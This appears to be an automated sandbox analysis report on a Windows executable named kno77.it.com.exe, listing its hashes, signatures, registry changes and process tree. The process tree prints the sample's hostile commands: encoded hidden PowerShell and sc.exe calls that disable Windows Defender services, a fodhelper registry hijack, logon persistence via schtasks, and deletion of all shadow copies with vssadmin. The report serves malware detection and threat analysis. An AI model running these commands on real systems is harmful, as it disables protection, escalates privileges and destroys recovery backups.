Analysis
- max time kernel
150s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
07/05/2026, 14:18
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
kno77.it.com.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
kno77.it.com.exe
Resource
win11-20260130-en
windows11-21h2-x64
36 signatures
150 seconds
General
- Target kno77.it.com.exe
- Size 51KB
- Sample260507-rmgcssax6m
- SHA256 c697215fac9dce867e28fcf299bd2acab7bdb10389f3949f522a8a6622ec68ae
- MD5 dcb9e53589ce0b558babf6e74e5db447
- SHA1 e233c525adc5803360c0a303048e2ec46bcaabac
- SHA512 bc39f354a2539538f99846d771492cfe7355a2fdfda4f0eaa4e81fefe70a3025fe0869b1b3b39d0c46bbf26f5c3558ffb384bc57097fc389c846575b06cae4c3
- SSDEEP 768:iSHYo5qn878dJiLBMJQ//nvUJmSEvVV/7X9zfXIyfLlrZ:LnE87jXk+dVNPRfLld
- TLSH T16433070437ED8511E2BF9ABA89F181119731F4639C23DB8E1AD4459E19F3B40CD98F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/5072-0-0x0000000000600000-0x0000000000614000-memory.dmp disable_win_def behavioral2/files/0x001500000002b829-2281.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" kno77.it.com.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2916 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" kno77.it.com.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts kno77.it.com.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5716 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf kno77.it.com.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf kno77.it.com.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf kno77.it.com.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kno77.it.com.exe" kno77.it.com.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\RansomwareUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kno77.it.com.exe" kno77.it.com.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kno77.it.com.exe" kno77.it.com.exe - Drops file in System32 directory 5 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe kno77.it.com.exe File opened for modification C:\Windows\system32\sysupdate.exe kno77.it.com.exe File created C:\Windows\system32\svchost.exe kno77.it.com.exe File created C:\Windows\system32\eicar_extra.com kno77.it.com.exe File created C:\Windows\system32\eicar_extra.txt kno77.it.com.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3236 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" kno77.it.com.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2620 sc.exe 2524 sc.exe 2360 sc.exe 3892 sc.exe 5408 sc.exe 2196 sc.exe 4328 sc.exe 1632 sc.exe 2188 sc.exe 2208 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - EICAR Anti-Malware test file 1 IoCs
resource yara_rule behavioral2/files/0x001500000002b80d-2244.dat eicar_test_file - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3660 NETSTAT.EXE 6120 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5432 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6072 vssadmin.exe 4188 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Control Panel\Desktop\WallpaperStyle = "2" kno77.it.com.exe - Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "145" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command kno77.it.com.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open kno77.it.com.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kno77.it.com.exe" kno77.it.com.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command\DelegateExecute kno77.it.com.exe Set value (str) \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\.pdf\ = "PDFBotnet" kno77.it.com.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet kno77.it.com.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings kno77.it.com.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings kno77.it.com.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell kno77.it.com.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell kno77.it.com.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell kno77.it.com.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open kno77.it.com.exe Key deleted \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open kno77.it.com.exe Key created \REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\ms-settings\shell\open\command kno77.it.com.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command kno77.it.com.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\kno77.it.com.exe\" \"%1\"" kno77.it.com.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1736 schtasks.exe 6116 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2916 powershell.exe 2916 powershell.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe 5072 kno77.it.com.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4412 LogonUI.exe Token: SeCreatePagefilePrivilege 4412 LogonUI.exe Token: SeDebugPrivilege 5072 kno77.it.com.exe Token: SeDebugPrivilege 2916 powershell.exe Token: SeIncBasePriorityPrivilege 5072 kno77.it.com.exe Token: SeDebugPrivilege 3660 NETSTAT.EXE Token: SeDebugPrivilege 3268 whoami.exe Token: SeDebugPrivilege 3236 tasklist.exe Token: SeBackupPrivilege 2264 vssvc.exe Token: SeRestorePrivilege 2264 vssvc.exe Token: SeAuditPrivilege 2264 vssvc.exe Token: SeIncreaseQuotaPrivilege 3572 WMIC.exe Token: SeSecurityPrivilege 3572 WMIC.exe Token: SeTakeOwnershipPrivilege 3572 WMIC.exe Token: SeLoadDriverPrivilege 3572 WMIC.exe Token: SeSystemProfilePrivilege 3572 WMIC.exe Token: SeSystemtimePrivilege 3572 WMIC.exe Token: SeProfSingleProcessPrivilege 3572 WMIC.exe Token: SeIncBasePriorityPrivilege 3572 WMIC.exe Token: SeCreatePagefilePrivilege 3572 WMIC.exe Token: SeBackupPrivilege 3572 WMIC.exe Token: SeRestorePrivilege 3572 WMIC.exe Token: SeShutdownPrivilege 3572 WMIC.exe Token: SeDebugPrivilege 3572 WMIC.exe Token: SeSystemEnvironmentPrivilege 3572 WMIC.exe Token: SeRemoteShutdownPrivilege 3572 WMIC.exe Token: SeUndockPrivilege 3572 WMIC.exe Token: SeManageVolumePrivilege 3572 WMIC.exe Token: 33 3572 WMIC.exe Token: 34 3572 WMIC.exe Token: 35 3572 WMIC.exe Token: 36 3572 WMIC.exe Token: SeIncreaseQuotaPrivilege 3572 WMIC.exe Token: SeSecurityPrivilege 3572 WMIC.exe Token: SeTakeOwnershipPrivilege 3572 WMIC.exe Token: SeLoadDriverPrivilege 3572 WMIC.exe Token: SeSystemProfilePrivilege 3572 WMIC.exe Token: SeSystemtimePrivilege 3572 WMIC.exe Token: SeProfSingleProcessPrivilege 3572 WMIC.exe Token: SeIncBasePriorityPrivilege 3572 WMIC.exe Token: SeCreatePagefilePrivilege 3572 WMIC.exe Token: SeBackupPrivilege 3572 WMIC.exe Token: SeRestorePrivilege 3572 WMIC.exe Token: SeShutdownPrivilege 3572 WMIC.exe Token: SeDebugPrivilege 3572 WMIC.exe Token: SeSystemEnvironmentPrivilege 3572 WMIC.exe Token: SeRemoteShutdownPrivilege 3572 WMIC.exe Token: SeUndockPrivilege 3572 WMIC.exe Token: SeManageVolumePrivilege 3572 WMIC.exe Token: 33 3572 WMIC.exe Token: 34 3572 WMIC.exe Token: 35 3572 WMIC.exe Token: 36 3572 WMIC.exe Token: SeIncreaseQuotaPrivilege 4008 WMIC.exe Token: SeSecurityPrivilege 4008 WMIC.exe Token: SeTakeOwnershipPrivilege 4008 WMIC.exe Token: SeLoadDriverPrivilege 4008 WMIC.exe Token: SeSystemProfilePrivilege 4008 WMIC.exe Token: SeSystemtimePrivilege 4008 WMIC.exe Token: SeProfSingleProcessPrivilege 4008 WMIC.exe Token: SeIncBasePriorityPrivilege 4008 WMIC.exe Token: SeCreatePagefilePrivilege 4008 WMIC.exe Token: SeBackupPrivilege 4008 WMIC.exe Token: SeRestorePrivilege 4008 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5072 kno77.it.com.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4412 LogonUI.exe 5072 kno77.it.com.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 5072 wrote to memory of 2916 5072 kno77.it.com.exe 79 PID 5072 wrote to memory of 2196 5072 kno77.it.com.exe 81 PID 5072 wrote to memory of 2620 5072 kno77.it.com.exe 116 PID 5072 wrote to memory of 2524 5072 kno77.it.com.exe 85 PID 5072 wrote to memory of 4328 5072 kno77.it.com.exe 87 PID 5072 wrote to memory of 2360 5072 kno77.it.com.exe 89 PID 5072 wrote to memory of 3892 5072 kno77.it.com.exe 91 PID 5072 wrote to memory of 1632 5072 kno77.it.com.exe 93 PID 5072 wrote to memory of 5408 5072 kno77.it.com.exe 95 PID 5072 wrote to memory of 2476 5072 kno77.it.com.exe 97 PID 2476 wrote to memory of 3576 2476 fodhelper.exe 98 PID 5072 wrote to memory of 1924 5072 kno77.it.com.exe 100 PID 5072 wrote to memory of 1736 5072 kno77.it.com.exe 101 PID 5072 wrote to memory of 3380 5072 kno77.it.com.exe 106 PID 5072 wrote to memory of 4772 5072 kno77.it.com.exe 108 PID 5072 wrote to memory of 2012 5072 kno77.it.com.exe 109 PID 5072 wrote to memory of 4872 5072 kno77.it.com.exe 110 PID 5072 wrote to memory of 3500 5072 kno77.it.com.exe 111 PID 5072 wrote to memory of 388 5072 kno77.it.com.exe 112 PID 5072 wrote to memory of 4744 5072 kno77.it.com.exe 113 PID 5072 wrote to memory of 6116 5072 kno77.it.com.exe 114 PID 5072 wrote to memory of 5636 5072 kno77.it.com.exe 122 PID 4744 wrote to memory of 3660 4744 cmd.exe 123 PID 4872 wrote to memory of 3268 4872 cmd.exe 124 PID 4772 wrote to memory of 5432 4772 cmd.exe 125 PID 5072 wrote to memory of 5192 5072 kno77.it.com.exe 126 PID 2012 wrote to memory of 3236 2012 cmd.exe 127 PID 3500 wrote to memory of 2608 3500 cmd.exe 128 PID 388 wrote to memory of 6120 388 cmd.exe 129 PID 2608 wrote to memory of 5480 2608 net.exe 130 PID 3380 wrote to memory of 6072 3380 cmd.exe 131 PID 5072 wrote to memory of 4188 5072 kno77.it.com.exe 133 PID 5072 wrote to memory of 3572 5072 kno77.it.com.exe 136 PID 5072 wrote to memory of 4352 5072 kno77.it.com.exe 138 PID 5072 wrote to memory of 5716 5072 kno77.it.com.exe 139 PID 5072 wrote to memory of 2188 5072 kno77.it.com.exe 140 PID 5072 wrote to memory of 2208 5072 kno77.it.com.exe 141 PID 4352 wrote to memory of 5128 4352 net.exe 146 PID 3380 wrote to memory of 4008 3380 cmd.exe 148 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe"C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2916
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2196
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2620
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2524
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4328
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2360
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3892
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1632
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5408
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe"C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe"3⤵PID:3576
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:1924
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\kno77.it.com.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1736
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6072
